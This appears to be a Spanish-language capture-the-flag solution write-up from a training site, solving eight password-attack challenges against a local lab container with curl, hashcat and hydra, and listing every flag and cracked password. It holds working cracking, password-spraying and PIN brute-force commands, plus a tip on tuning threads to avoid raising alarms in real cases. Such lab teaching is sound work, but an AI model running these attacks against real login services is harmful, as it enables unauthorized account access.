Ghost AcademyGhostOffensive · Ghost Academy
GhostOffensiveMódulo 12SOLO SOLUCIÓN

Writeup — Lumen Tech

← Volver al capítulo 12

Atención: contiene todas las flags. Inténtalo primero por tu cuenta.

Los crackeos y los ataques con hydra son reales, ejecutados contra el contenedor desplegado (localhost:8989). Las claves de ejemplo están todas en rockyou.

Reto 1 — Credenciales por defecto

Acceso directo★

El panel /admin nunca cambió sus credenciales de fábrica. La primera combinación que se prueba, admin/admin, funciona:

kali@lab (salida real)
$ curl -s -X POST -d 'usuario=admin&clave=admin' localhost:8989/admin | grep -o 'GO{{[^}}]*}}'
GO{credenciales_por_defecto_nunca_cambiadas}

Flag: GO{credenciales_por_defecto_nunca_cambiadas}

Reto 2 — Identificar el hash

Análisis★

El hash suelto de /dump tiene 64 caracteres hexadecimales: es SHA-256. Se responde sha256:

kali@lab (salida real)
$ curl -s -X POST -d 'algoritmo=sha256' localhost:8989/dump | grep -o 'GO{{[^}}]*}}'
GO{identificar_el_hash_es_el_primer_paso}

Flag: GO{identificar_el_hash_es_el_primer_paso}

Reto 3 — Crackeo MD5 (laura)

Offline★★

kali@lab (salida real)
$ echo ddf442defc60fb25c2aee35aa0c68f75 > h.txt
hashcat -m 0 -a 0 h.txt /usr/share/wordlists/rockyou.txt --quiet
ddf442defc60fb25c2aee35aa0c68f75:sunshine26

Clave: sunshine26. Se introduce en el formulario de /dump para el usuario laura:

kali@lab (salida real)
$ curl -s -G localhost:8989/crack --data-urlencode 'usuario=laura' --data-urlencode 'clave=sunshine26' | grep -o 'GO{{[^}}]*}}'
GO{md5_cae_en_segundos}

Flag: GO{md5_cae_en_segundos}

Reto 4 — Crackeo SHA-1 (carlos)

Offline★★

kali@lab (salida real)
$ echo 7f873de4dbf9caba1cbcba9799e821148e8d8bca > h.txt
hashcat -m 100 -a 0 h.txt /usr/share/wordlists/rockyou.txt --quiet
7f873de4dbf9caba1cbcba9799e821148e8d8bca:pokemon99
kali@lab (salida real)
$ curl -s -G localhost:8989/crack --data-urlencode 'usuario=carlos' --data-urlencode 'clave=pokemon99' | grep -o 'GO{{[^}}]*}}'
GO{sha1_tampoco_protege_una_clave_debil}

Flag: GO{sha1_tampoco_protege_una_clave_debil}

Reto 5 — Crackeo bcrypt (victor)

Offline★★★

El hash de victor empieza por $2y$: es bcrypt, modo -m 3200. Es mucho más lento por su sal y su coste, pero la clave (summer2011) está en el top de rockyou, así que cae igual:

kali@lab (salida real)
$ echo '$2y$08$kszXYxHAgEu7JXJ9TGHdOOnwkbAE5z5918TDrNzdKS7bWB6DxfO0S' > h.txt
hashcat -m 3200 -a 0 h.txt /usr/share/wordlists/rockyou.txt --quiet
$2y$08$kszXYxHAgEu7JXJ9TGHdOOnwkbAE5z5918TDrNzdKS7bWB6DxfO0S:summer2011
kali@lab (salida real)
$ curl -s -G localhost:8989/crack --data-urlencode 'usuario=victor' --data-urlencode 'clave=summer2011' | grep -o 'GO{{[^}}]*}}'
GO{el_salt_ralentiza_pero_no_salva_una_clave_del_top}

Flag: GO{el_salt_ralentiza_pero_no_salva_una_clave_del_top}

Reto 6 — Crackeo NTLM (diana)

Offline★★

El hash de diana es NTLM (formato de Windows), modo -m 1000. NTLM no lleva sal, así que es tan rápido de romper como MD5:

kali@lab (salida real)
$ echo 4fc64497d0b89c96a9795b87eb447133 > h.txt
hashcat -m 1000 -a 0 h.txt /usr/share/wordlists/rockyou.txt --quiet
4fc64497d0b89c96a9795b87eb447133:welcome123
kali@lab (salida real)
$ curl -s -G localhost:8989/crack --data-urlencode 'usuario=diana' --data-urlencode 'clave=welcome123' | grep -o 'GO{{[^}}]*}}'
GO{ntlm_sin_sal_es_un_regalo}

Flag: GO{ntlm_sin_sal_es_un_regalo}

Reto 7 — Rociado de contraseñas

Online★★

En vez de muchas claves contra un usuario, se prueba UNA clave común contra todos los usuarios del organigrama. Se prepara la lista de usuarios y se lanza hydra con una sola contraseña:

kali@lab (salida real)
$ printf "jgarcia\nmlopez\nrsanz\nacabrera\ndfernandez\nsoporte\n" > usuarios.txt
hydra -L usuarios.txt -p "Primavera2024" 127.0.0.1 -s 8989 http-post-form "/login:usuario=^USER^&clave=^PASS^:incorrectos"
[8989][http-post-form] host: 127.0.0.1   login: jgarcia   password: Primavera2024
[8989][http-post-form] host: 127.0.0.1   login: mlopez   password: Primavera2024
[8989][http-post-form] host: 127.0.0.1   login: rsanz   password: Primavera2024
(... los 6 usuarios usan la misma clave)

Cualquiera de esos usuarios, con esa clave, entra en /login y muestra la flag:

kali@lab (salida real)
$ curl -s -X POST -d 'usuario=mlopez&clave=Primavera2024' localhost:8989/login | grep -o 'GO{{[^}}]*}}'
GO{una_misma_clave_contra_todos_los_usuarios}

Flag: GO{una_misma_clave_contra_todos_los_usuarios}

Reto 8 — Fuerza bruta de un PIN

Online★★

La cuenta kiosko usa un PIN numérico de 4 cifras: solo 10.000 posibilidades. Se genera la lista y se lanza hydra (-f para parar al primer acierto):

kali@lab (salida real)
$ seq -w 0 9999 > pins.txt
hydra -l kiosko -P pins.txt -f 127.0.0.1 -s 8989 http-post-form "/login:usuario=^USER^&clave=^PASS^:incorrectos"
[8989][http-post-form] host: 127.0.0.1   login: kiosko   password: 8074
kali@lab (salida real)
$ curl -s -X POST -d 'usuario=kiosko&clave=8074' localhost:8989/login | grep -o 'GO{{[^}}]*}}'
GO{la_fuerza_bruta_encuentra_lo_corto}

Flag: GO{la_fuerza_bruta_encuentra_lo_corto}

Nota real: contra un servidor de un solo proceso, recorrer los 10.000 PIN lleva su tiempo; en un caso real se ajusta el número de hilos (-t) con cuidado para no tumbar el servicio ni disparar alarmas.

Resumen

#AtaqueHerramienta
1Credenciales por defecto—
2Identificación de hashanálisis visual
3Crackeo MD5hashcat -m 0
4Crackeo SHA-1hashcat -m 100
5Crackeo bcrypthashcat -m 3200
6Crackeo NTLMhashcat -m 1000
7Rociado de contraseñashydra
8Fuerza bruta de PINhydra